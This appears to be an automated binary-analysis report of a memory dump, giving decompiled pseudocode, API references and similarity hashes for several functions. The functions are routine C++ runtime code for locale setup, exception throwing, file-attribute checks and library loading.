0x0011acf1
0x0011ad16
0x0011ad16
0x0011ad19
0x0011ad1d
0x0011ad36
0x0011ad3b
0x0011ad3e
0x0011ad40
0x0011ad46
0x0011ad81
0x0011ad48
0x0011ad48
0x0011ad4d
0x0011ad55
0x0011ad56
0x0011ad56
0x0011ad6d
0x0011ad74
0x0011ad77
0x0011ad7c
0x0011ad7c
0x0011ad84
0x0011ad87
0x0011ad87
0x0011ad8c
0x00000000
0x0011ad8c
0x0011acf3
0x0011acf5
0x0011acfa
0x0011ad00
0x0011ad09
0x0011ad12
0x0011ad12
0x00000000
0x0011acf5
0x0011adaf
0x0011adaf
0x0011adb3
0x0011adbb
0x0011adc1
0x0011adc4
0x0011adca
0x0011adcc
0x0011ae0c
0x0011ae12
0x0011ae19
0x0011ae19
0x0011ae1f
0x0011ae23
0x00000000
0x0011ae25
0x0011ae25
0x0011ae29
0x0011ae2e
0x0011ae32
0x0011ae37
0x0011ae3e
0x0011ae4c
0x0011ae52
0x0011ae55
0x0011ae55
0x0011ae23
0x0011ae64
0x0011ae6c
0x0011ae75
0x0011adce
0x0011add4
0x0011add7
0x0011adde
0x0011adf0
0x0011adf7
0x0011ae04
0x00000000
0x0011ae04
0x00000000
0x0011adcc
0x0011ac25
0x0011aba0
0x00000000
0x0011aba0
0x00000000
0x0011ab9e
0x0011ab97
0x0011ab99
0x0011ab99
0x00000000
0x0011ab23
0x0011ab23
0x0011ab23
0x0011ab25
0x0011ab2a
0x0011ab35
0x0011ab35
0x0011a94c
0x0011a94c
0x0011a94f
0x0011a954
0x0011aab1
0x00000000
0x0011a95a
0x0011a95c
0x0011a964
0x0011a96a
0x0011a96b
0x0011a971
0x0011a972
0x0011a977
0x0011a97a
0x0011a97c
0x0011a982
0x0011a984
0x0011a985
0x0011a985
0x0011a993
0x0011a993
0x0011a996
0x0011a998
0x0011a99b
0x0011a9a9
0x0011a9a9
0x0011aa93
0x0011aa93
0x00000000
0x0011aa95
0x0011aa95
0x00000000
0x0011a99d
0x0011a99d
0x0011a9a0
0x0011a9a3
0x00000000
0x00000000
0x00000000
0x00000000
0x0011a9a3
0x0011a99b
0x0011a954
0x0011a946
0x0011a919
0x0011a91b
0x0011a91c
0x0011a91f
0x00000000
0x00000000
0x00000000
0x00000000
0x0011a91f
0x0011a917
0x0011a89f
0x00000000
0x0011a893
0x00000000
0x0011a9b0
0x0011a866
0x0011a85b
0x0011a850
0x0011a809
0x0011a809
0x0011a80b
0x0011a80d
0x0011a80e
0x0011a80f
0x0011a810
0x0011a815
0x0011aaa0
0x0011aaa5
0x0011aab0
0x0011aab0
0x0011a807
0x00000000

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: _free$Process$AllocateCurrentFeatureHeapPresentProcessorTerminate___report_securityfailure_memcmp
String ID:
API String ID: 1143044725-0
Opcode ID: 9f3b68ae40e1413e5df73a71f42a0035af42a5fff641f8b5d27c32bc36b93712
Instruction ID: 6ba3fb3656b4ef6ed2e1edeed691c94b58c89156270c87add2c81fa1f33932f8
Opcode Fuzzy Hash: 9f3b68ae40e1413e5df73a71f42a0035af42a5fff641f8b5d27c32bc36b93712
Instruction Fuzzy Hash: ED510731A01304AFDB28DF69DC41AAABBF5EF54724F54057DE809D7290E731EA81CB81

Uniqueness

Uniqueness Score: 0.00%

Function 00051DD0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00051DD0(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, intOrPtr _a4) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				char _v32;
				char _v56;
				signed int _t36;
				intOrPtr _t41;
				signed int _t46;
				intOrPtr _t50;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				void* _t56;
				char* _t67;
				intOrPtr _t76;
				char* _t77;
				void* _t82;
				signed int _t83;
				void* _t84;

				_push(0xffffffff);
				_push(0x12cb1a);
				_push( *[fs:0x0]);
				_t83 = _t82 - 0x10;
				_t36 =  *0x16f170; // 0xd529e887
				_push(_t36 ^ _t80);
				 *[fs:0x0] =  &_v16;
				_t76 = __ecx;
				_v20 = __ecx;
				E000D71DA(__ecx, 0);
				_v8 = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((char*)(__ecx + 8)) = 0;
				 *((intOrPtr*)(__ecx + 0xc)) = 0;
				 *((char*)(__ecx + 0x10)) = 0;
				 *((intOrPtr*)(__ecx + 0x14)) = 0;
				 *((short*)(__ecx + 0x18)) = 0;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				 *((short*)(__ecx + 0x20)) = 0;
				 *((intOrPtr*)(__ecx + 0x24)) = 0;
				 *((char*)(__ecx + 0x28)) = 0;
				 *((intOrPtr*)(__ecx + 0x2c)) = 0;
				 *((char*)(__ecx + 0x30)) = 0;
				_t41 = _a4;
				_v8 = 6;
				_t87 = _t41;
				if(_t41 == 0) {
					_t67 =  &_v32;
					E00051D30(_t67, "bad locale name");
					E001047B7( &_v32, 0x16cdcc);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0xffffffff);
					_push(0x12cb40);
					_push( *[fs:0x0]);
					_push(_t76);
					_t46 =  *0x16f170; // 0xd529e887
					_push(_t46 ^ _t83);
					 *[fs:0x0] =  &_v56;
					_t77 = _t67;
					E000D98D0(_t77);
					_t50 =  *((intOrPtr*)(_t77 + 0x2c));
					_t84 = _t83 + 4;
					__eflags = _t50;
					if(_t50 != 0) {
						L0010FD0E(_t50);
						_t84 = _t84 + 4;
					}
					 *((intOrPtr*)(_t77 + 0x2c)) = 0;
					_t51 =  *((intOrPtr*)(_t77 + 0x24));
					__eflags = _t51;
					if(_t51 != 0) {
						L0010FD0E(_t51);
						_t84 = _t84 + 4;
					}
					 *((intOrPtr*)(_t77 + 0x24)) = 0;
					_t52 =  *((intOrPtr*)(_t77 + 0x1c));
					__eflags = _t52;
					if(_t52 != 0) {
						L0010FD0E(_t52);
						_t84 = _t84 + 4;
					}
					 *((intOrPtr*)(_t77 + 0x1c)) = 0;
					_t53 =  *((intOrPtr*)(_t77 + 0x14));
					__eflags = _t53;
					if(_t53 != 0) {
						L0010FD0E(_t53);
						_t84 = _t84 + 4;
					}
					 *((intOrPtr*)(_t77 + 0x14)) = 0;
					_t54 =  *((intOrPtr*)(_t77 + 0xc));
					__eflags = _t54;
					if(_t54 != 0) {
						L0010FD0E(_t54);
						_t84 = _t84 + 4;
					}
					 *((intOrPtr*)(_t77 + 0xc)) = 0;
					_t55 =  *((intOrPtr*)(_t77 + 4));
					__eflags = _t55;
					if(_t55 != 0) {
						L0010FD0E(_t55);
					}
					 *((intOrPtr*)(_t77 + 4)) = 0;
					_t56 = E000D7232(_t77);
					 *[fs:0x0] = _v20;
					return _t56;
				} else {
					E000D9885(__ebx, __edx, __edi, _t87, __ecx, _t41); // executed
					 *[fs:0x0] = _v16;
					return _t76;
				}
			}

0x00051dd3
0x00051dd5
0x00051de0
0x00051de1
0x00051de5
0x00051dec
0x00051df0
0x00051df6
0x00051df8
0x00051dfd
0x00051e02
0x00051e09
0x00051e10
0x00051e14
0x00051e1b
0x00051e21
0x00051e28
0x00051e2c
0x00051e2f
0x00051e33
0x00051e36
0x00051e39
0x00051e3c
0x00051e3f
0x00051e42
0x00051e46
0x00051e48
0x00051e6d
0x00051e70
0x00051e7e
0x00051e83
0x00051e84
0x00051e85
0x00051e86
0x00051e87
0x00051e88
0x00051e89
0x00051e8a
0x00051e8b
0x00051e8c
0x00051e8d
0x00051e8e
0x00051e8f
0x00051e93
0x00051e95
0x00051ea0
0x00051ea1
0x00051ea2
0x00051ea9
0x00051ead
0x00051eb3
0x00051eb6
0x00051ebb
0x00051ebe
0x00051ec1
0x00051ec3
0x00051ec6
0x00051ecb
0x00051ecb
0x00051ece
0x00051ed5
0x00051ed8
0x00051eda
0x00051edd
0x00051ee2
0x00051ee2
0x00051ee5
0x00051eec
0x00051eef
0x00051ef1
0x00051ef4
0x00051ef9
0x00051ef9
0x00051efc
0x00051f03
0x00051f06
0x00051f08
0x00051f0b
0x00051f10
0x00051f10
0x00051f13
0x00051f1a
0x00051f1d
0x00051f1f
0x00051f22
0x00051f27
0x00051f27
0x00051f2a
0x00051f31
0x00051f34
0x00051f36
0x00051f39
0x00051f3e
0x00051f43
0x00051f4a
0x00051f52
0x00051f5e
0x00051e4a
0x00051e4c
0x00051e59
0x00051e65
0x00051e65

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C

Part of subcall function 00051D30: ___std_exception_copy.LIBVCRUNTIME ref: 00051D58

__CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

bad locale name, xrefs: 00051E68

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$ExceptionException@8Locinfo::_Locinfo_ctorLockitLockit::_RaiseThrow___std_exception_copy
String ID: bad locale name
API String ID: 2988018378-1405518554
Opcode ID: 7bab111f5e80d95c6deee1cf43a860f2855c50bd871a848367465a8e405299ce
Instruction ID: f74048b02da1499830850090378d612c5bcf2f2242ffea92bfe525b53d9b96fe
Opcode Fuzzy Hash: 7bab111f5e80d95c6deee1cf43a860f2855c50bd871a848367465a8e405299ce
Instruction Fuzzy Hash: 2311B1719047449FD320CFA8C801B8BBBF4EF19710F008A1EE859C3B81D7B5A508CBA1

Uniqueness

Uniqueness Score: 12.89%

Function 000AE590, Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E000AE590(void* __ebx, intOrPtr* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v0;
				intOrPtr _v4;
				signed int _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v108;
				signed int _v112;
				intOrPtr _v180;
				char _v200;
				signed int _v204;
				intOrPtr _v268;
				intOrPtr _v272;
				char _v292;
				signed int _v296;
				intOrPtr _v364;
				signed int _t69;
				signed int _t70;
				intOrPtr _t73;
				void* _t74;
				signed int _t79;
				signed int _t80;
				intOrPtr _t83;
				void* _t84;
				signed int _t89;
				signed int _t90;
				intOrPtr _t93;
				void* _t94;
				signed int _t99;
				signed int _t100;
				intOrPtr _t103;
				void* _t104;
				intOrPtr _t108;
				intOrPtr* _t122;
				intOrPtr* _t123;
				intOrPtr* _t124;
				intOrPtr* _t125;
				intOrPtr _t142;
				intOrPtr _t146;
				intOrPtr _t148;
				signed int _t149;
				signed int _t150;
				signed int _t151;
				signed int _t152;
				void* _t155;
				signed int _t156;
				signed int _t157;
				signed int _t158;

				_t120 = __ebx;
				_push(0xffffffff);
				_push(0x134548);
				_push( *[fs:0x0]);
				_t156 = _t155 - 0x44;
				_t69 =  *0x16f170; // 0xd529e887
				_t70 = _t69 ^ _t149;
				_v20 = _t70;
				_push(_t70);
				 *[fs:0x0] =  &_v16;
				_t142 = _a8;
				_t73 =  *__ecx;
				if( *((intOrPtr*)(_a4 + 0x10)) != 0) {
					_t74 =  *((intOrPtr*)(_t73 + 8))( &_v84);
					_t122 =  &_v60;
					_v8 = 0;
					E000AE060(__ebx, _t122,  &_v84, _t74);
					E001047B7( &_v60, 0x16792c);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t149);
					_t150 = _t156;
					_push(0xffffffff);
					_push(0x134548);
					_push( *[fs:0x0]);
					_t157 = _t156 - 0x44;
					_t79 =  *0x16f170; // 0xd529e887
					_t80 = _t79 ^ _t150;
					_v112 = _t80;
					_push(_t80);
					 *[fs:0x0] =  &_v108;
					_t83 =  *_t122;
					if( *((intOrPtr*)(_v88 + 0x10)) != 0) {
						_t84 =  *((intOrPtr*)(_t83 + 8))( &_v88);
						_t123 =  &_v64;
						_v12 = 0;
						E000AE060(__ebx, _t123,  &_v88, _t84);
						E001047B7( &_v64, 0x16792c);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(_t150);
						_t151 = _t157;
						_push(0xffffffff);
						_push(0x134548);
						_push( *[fs:0x0]);
						_t158 = _t157 - 0x44;
						_t89 =  *0x16f170; // 0xd529e887
						_t90 = _t89 ^ _t151;
						_v204 = _t90;
						_push(_t90);
						 *[fs:0x0] =  &_v200;
						_t93 =  *_t123;
						if( *((intOrPtr*)(_v180 + 0x10)) != 0) {
							_t94 =  *((intOrPtr*)(_t93 + 8))( &_v92);
							_t124 =  &_v68;
							_v16 = 0;
							E000AE060(__ebx, _t124,  &_v92, _t94);
							E001047B7( &_v68, 0x16792c);
							asm("int3");
							asm("int3");
							_push(_t151);
							_t152 = _t158;
							_push(0xffffffff);
							_push(0x134548);
							_push( *[fs:0x0]);
							_t99 =  *0x16f170; // 0xd529e887
							_t100 = _t99 ^ _t152;
							_v296 = _t100;
							_push(_t100);
							 *[fs:0x0] =  &_v292;
							_t146 = _v268;
							_t103 =  *_t124;
							if( *((intOrPtr*)(_v272 + 0x10)) != 0) {
								_t104 =  *((intOrPtr*)(_t103 + 8))( &_v96);
								_t125 =  &_v72;
								_v20 = 0;
								E000AE060(_t120, _t125,  &_v96, _t104);
								E001047B7( &_v72, 0x16792c);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t152);
								_t108 = _v364;
								_t148 =  *_t125;
								if( *((intOrPtr*)(_t108 + 0x10)) != 0) {
									_v12 = _t108;
									goto ( *((intOrPtr*)(_t148 + 0x8c)));
								}
								return  *((intOrPtr*)(_t148 + 0x1c))(_v8, _v4, _v0, _a4);
							} else {
								 *((intOrPtr*)(_t103 + 0x18))(_v0, _a4, _a8);
								 *[fs:0x0] = _v28;
								return E000ECED8(_v32 ^ _t152, _t146);
							}
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t93 + 0x34))))(_a4);
							 *[fs:0x0] = _v24;
							return E000ECED8(_v28 ^ _t151, _v0);
						}
					} else {
						 *((intOrPtr*)( *((intOrPtr*)(_t83 + 0x30))))(_a8, _a12);
						 *[fs:0x0] = _v20;
						return E000ECED8(_v24 ^ _t150, _a4);
					}
				} else {
					 *((intOrPtr*)(_t73 + 0x10))();
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t149, _t142);
				}
			}

0x000ae590
0x000ae593
0x000ae595
0x000ae5a0
0x000ae5a1
0x000ae5a4
0x000ae5a9
0x000ae5ab
0x000ae5ae
0x000ae5b2
0x000ae5bb
0x000ae5c2
0x000ae5c4
0x000ae5e9
0x000ae5ed
0x000ae5f0
0x000ae5f7
0x000ae605
0x000ae60a
0x000ae60b
0x000ae60c
0x000ae60d
0x000ae60e
0x000ae60f
0x000ae610
0x000ae611
0x000ae613
0x000ae615
0x000ae620
0x000ae621
0x000ae624
0x000ae629
0x000ae62b
0x000ae62e
0x000ae632
0x000ae63f
0x000ae641
0x000ae670
0x000ae674
0x000ae677
0x000ae67e
0x000ae68c
0x000ae691
0x000ae692
0x000ae693
0x000ae694
0x000ae695
0x000ae696
0x000ae697
0x000ae698
0x000ae699
0x000ae69a
0x000ae69b
0x000ae69c
0x000ae69d
0x000ae69e
0x000ae69f
0x000ae6a0
0x000ae6a1
0x000ae6a3
0x000ae6a5
0x000ae6b0
0x000ae6b1
0x000ae6b4
0x000ae6b9
0x000ae6bb
0x000ae6be
0x000ae6c2
0x000ae6cf
0x000ae6d1
0x000ae6fd
0x000ae701
0x000ae704
0x000ae70b
0x000ae719
0x000ae71e
0x000ae71f
0x000ae720
0x000ae721
0x000ae723
0x000ae725
0x000ae730
0x000ae734
0x000ae739
0x000ae73b
0x000ae73e
0x000ae742
0x000ae74b
0x000ae752
0x000ae754
0x000ae782
0x000ae786
0x000ae789
0x000ae790
0x000ae79e
0x000ae7a3
0x000ae7a4
0x000ae7a5
0x000ae7a6
0x000ae7a7
0x000ae7a8
0x000ae7a9
0x000ae7aa
0x000ae7ab
0x000ae7ac
0x000ae7ad
0x000ae7ae
0x000ae7af
0x000ae7b0
0x000ae7b3
0x000ae7b6
0x000ae7bc
0x000ae7d1
0x000ae7d5
0x000ae7d5
0x000ae7ce
0x000ae756
0x000ae760
0x000ae766
0x000ae77b
0x000ae77b
0x000ae6d3
0x000ae6dc
0x000ae6e1
0x000ae6f6
0x000ae6f6
0x000ae643
0x000ae64f
0x000ae654
0x000ae669
0x000ae669
0x000ae5c6
0x000ae5c7
0x000ae5cd
0x000ae5e2
0x000ae5e2

APIs

Part of subcall function 000AE060: ___std_exception_copy.LIBVCRUNTIME ref: 000AE1C2

__CxxThrowException@8.LIBVCRUNTIME ref: 000AE605

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

__CxxThrowException@8.LIBVCRUNTIME ref: 000AE68C
__CxxThrowException@8.LIBVCRUNTIME ref: 000AE719
__CxxThrowException@8.LIBVCRUNTIME ref: 000AE79E

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure___std_exception_copy
String ID:
API String ID: 106381449-0
Opcode ID: 3b6af82645c9e72cd68d1584acaa0ef0caf38ba017feb6b6fe3d13416b770a89
Instruction ID: ad83fcf2235de21b343e46813f8936334fc177d62ec3d4caf2656e99914ca4f7
Opcode Fuzzy Hash: 3b6af82645c9e72cd68d1584acaa0ef0caf38ba017feb6b6fe3d13416b770a89
Instruction Fuzzy Hash: 62718D7190424CEFCB00DFA4D844FAEBBB8FB09710F408669F915AB691DBB5E910CB90

Uniqueness

Uniqueness Score: 0.31%

Function 000AAB90, Relevance: 6.1, APIs: 4, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E000AAB90(void* __ebx, void* __ecx, void* __edi, void* __esi, long* _a4, WCHAR* _a8, long* _a12) {
				long _v8;
				char _v16;
				signed int _v20;
				long _v24;
				long _v28;
				char _v44;
				long* _v48;
				signed char _v52;
				void* _v56;
				void* __ebp;
				signed int _t40;
				signed int _t41;
				WCHAR* _t43;
				signed char _t44;
				long _t45;
				short _t49;
				void* _t55;
				long _t57;
				long* _t62;
				long _t65;
				WCHAR* _t70;
				WCHAR* _t75;
				WCHAR* _t77;
				long* _t80;
				short* _t82;
				void* _t83;
				signed int _t84;
				void* _t85;
				void* _t86;

				_push(0xffffffff);
				_push(0x133e80);
				_push( *[fs:0x0]);
				_t86 = _t85 - 0x28;
				_t40 =  *0x16f170; // 0xd529e887
				_t41 = _t40 ^ _t84;
				_v20 = _t41;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t41);
				 *[fs:0x0] =  &_v16;
				_t77 = _a8;
				_t43 = _t77;
				_t80 = _a12;
				_t62 = _a4;
				_v48 = _t80;
				if(_t77[0xa] >= 8) {
					_t43 =  *_t77;
				}
				_t44 = GetFileAttributesW(_t43); // executed
				_v52 = _t44;
				if(_t44 != 0xffffffff) {
					if((_t44 & 0x00000400) == 0) {
						L14:
						if(_t80 != 0) {
							 *_t80 = 0;
							_t80[1] = 0;
							_t80[2] = 0x1522a0;
						}
						_push(_t44);
						_push(_t77);
						if((_t44 & 0x00000010) == 0) {
							_t45 = E000AA600(_t62, _t75, _t77, _t80, _t84);
							_t65 = 2;
						} else {
							_t45 = E000AA600(_t62, _t75, _t77, _t80, _t84);
							_t65 = 3;
						}
						 *_t62 = _t65;
						_t62[1] = _t45;
					} else {
						_t75 = _t77;
						if(_t77[0xa] >= 8) {
							_t75 =  *_t77;
						}
						_t70 = _t75;
						_v28 = 0;
						_v24 = 7;
						_v44 = 0;
						_t82 =  &(_t70[1]);
						do {
							_t49 =  *_t70;
							_t70 =  &(_t70[1]);
						} while (_t49 != 0);
						_push(_t70 - _t82 >> 1);
						E00068410(_t62,  &_v44, _t75, _t75);
						_t52 =  >=  ? _v44 :  &_v44;
						_v8 = 0;
						_t83 = CreateFileW( >=  ? _v44 :  &_v44, 0, 7, 0, 3, 0x2000000, 0);
						_v56 = _t83;
						_v8 = 2;
						E00054B10(_t62,  &_v44, _t77, _t83);
						if(_t83 != 0xffffffff) {
							_t55 = E000AA410(_t77);
							_t86 = _t86 + 4;
							if(_t55 != 0) {
								_v8 = 5;
								CloseHandle(_t83);
								_t80 = _v48;
								_t44 = _v52;
								_v8 = 0xffffffff;
								goto L14;
							} else {
								_t57 = E000AA600(_t62, _t75, _t77, _t83, _t84, _t77, _v52);
								 *_t62 = 9;
								_t62[1] = _t57;
								_v8 = 4;
								CloseHandle(_t83);
							}
						} else {
							E000AA7C0(_t77, _t62, _t77, _v48);
						}
					}
				} else {
					E000AA7C0(_t77, _t62, _t77, _t80);
				}
				 *[fs:0x0] = _v16;
				return E000ECED8(_v20 ^ _t84);
			}

0x000aab93
0x000aab95
0x000aaba0
0x000aaba1
0x000aaba4
0x000aaba9
0x000aabab
0x000aabae
0x000aabaf
0x000aabb0
0x000aabb1
0x000aabb5
0x000aabbb
0x000aabbe
0x000aabc0
0x000aabc3
0x000aabc6
0x000aabcd
0x000aabcf
0x000aabcf
0x000aabd2
0x000aabd8
0x000aabde
0x000aabf5
0x000aacd6
0x000aacd8
0x000aacda
0x000aace0
0x000aace4
0x000aace4
0x000aaceb
0x000aacec
0x000aacef
0x000aacfd
0x000aad02
0x000aacf1
0x000aacf1
0x000aacf6
0x000aacf6
0x000aad0a
0x000aad0c
0x000aabfb
0x000aabff
0x000aac01
0x000aac03
0x000aac03
0x000aac05
0x000aac07
0x000aac10
0x000aac17
0x000aac1b
0x000aac20
0x000aac20
0x000aac23
0x000aac26
0x000aac2f
0x000aac34
0x000aac42
0x000aac54
0x000aac61
0x000aac63
0x000aac69
0x000aac6d
0x000aac75
0x000aac8a
0x000aac8f
0x000aac94
0x000aacbc
0x000aacc3
0x000aacc9
0x000aaccc
0x000aaccf
0x00000000
0x000aac96
0x000aac9a
0x000aaca2
0x000aaca8
0x000aacac
0x000aacb3
0x000aacb3
0x000aac77
0x000aac7c
0x000aac81
0x000aac75
0x000aabe0
0x000aabe3
0x000aabe8
0x000aad14
0x000aad2c

APIs

GetFileAttributesW.KERNELBASE(?,D529E887,?,?,?,?,?,?,00133E80,000000FF,?,00055195), ref: 000AABD2
CreateFileW.KERNEL32(?,00000000,00000007,00000000,00000003,02000000,00000000), ref: 000AAC5B
CloseHandle.KERNEL32(00000000), ref: 000AACC3

Part of subcall function 000AA7C0: GetLastError.KERNEL32(D529E887,?,?,00000000), ref: 000AA7F7
Part of subcall function 000AA7C0: __CxxThrowException@8.LIBVCRUNTIME ref: 000AA8DB
Part of subcall function 000AA7C0: GetFileAttributesW.KERNEL32(?,?,00000000,?,00000000), ref: 000AA904

Part of subcall function 000AA410: CreateFileW.KERNEL32(000000FF,00000008,00000007,00000000,00000003,02200000,00000000), ref: 000AA453
Part of subcall function 000AA410: DeviceIoControl.KERNEL32(00000000,000900A8,00000000,00000000,00000000,00004000,?,00000000), ref: 000AA49A
Part of subcall function 000AA410: CloseHandle.KERNEL32(00000000), ref: 000AA4D4

CloseHandle.KERNEL32(00000000), ref: 000AACB3

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: File$CloseHandle$AttributesCreate$ControlDeviceErrorException@8FeatureLastPresentProcessorThrow___raise_securityfailure
String ID:
API String ID: 4150888354-0
Opcode ID: bbe4ea968ba3cf5c4a66f8d976a9063c21ce14d1b047a1813a644c76948d350a
Instruction ID: f62c95a1d4b568c3d76c49caec3d6d16afa3036f694f88216ef6cc2302cdd700
Opcode Fuzzy Hash: bbe4ea968ba3cf5c4a66f8d976a9063c21ce14d1b047a1813a644c76948d350a
Instruction Fuzzy Hash: CB41B171A00204EFDB10DFA4DD45BEEBBB4EF0B725F144119E816A72C1D7355A40CBA2

Uniqueness

Uniqueness Score: 0.80%

Function 0011EFFD, Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E0011EFFD(signed int _a4) {
				signed int _t9;
				void* _t10;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0x17a0c8 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0x147958 + _t9 * 4);
					_t10 = LoadLibraryExW(_t22, 0, 0x800); // executed
					_t27 = _t10;
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0xd529e888
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}

0x0011f002
0x0011f006
0x0011f00d
0x0011f011
0x0011f01f
0x0011f02f
0x0011f035
0x0011f039
0x0011f062
0x0011f064
0x0011f068
0x0011f06b
0x0011f06b
0x0011f071
0x0011f073
0x00000000
0x0011f074
0x0011f03b
0x0011f044
0x0011f053
0x0011f046
0x0011f049
0x0011f04f
0x0011f04f
0x0011f057
0x00000000
0x0011f059
0x0011f05c
0x0011f05e
0x00000000
0x0011f05e
0x0011f057
0x0011f013
0x0011f018
0x00000000

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,?,00000000,00000000,?,0011EFA4,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue), ref: 0011F02F
GetLastError.KERNEL32(?,0011EFA4,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364,?,0011E0DA), ref: 0011F03B
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0011EFA4,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000), ref: 0011F049
FreeLibrary.KERNEL32(00000000,?,0011EFA4,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364), ref: 0011F06B

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
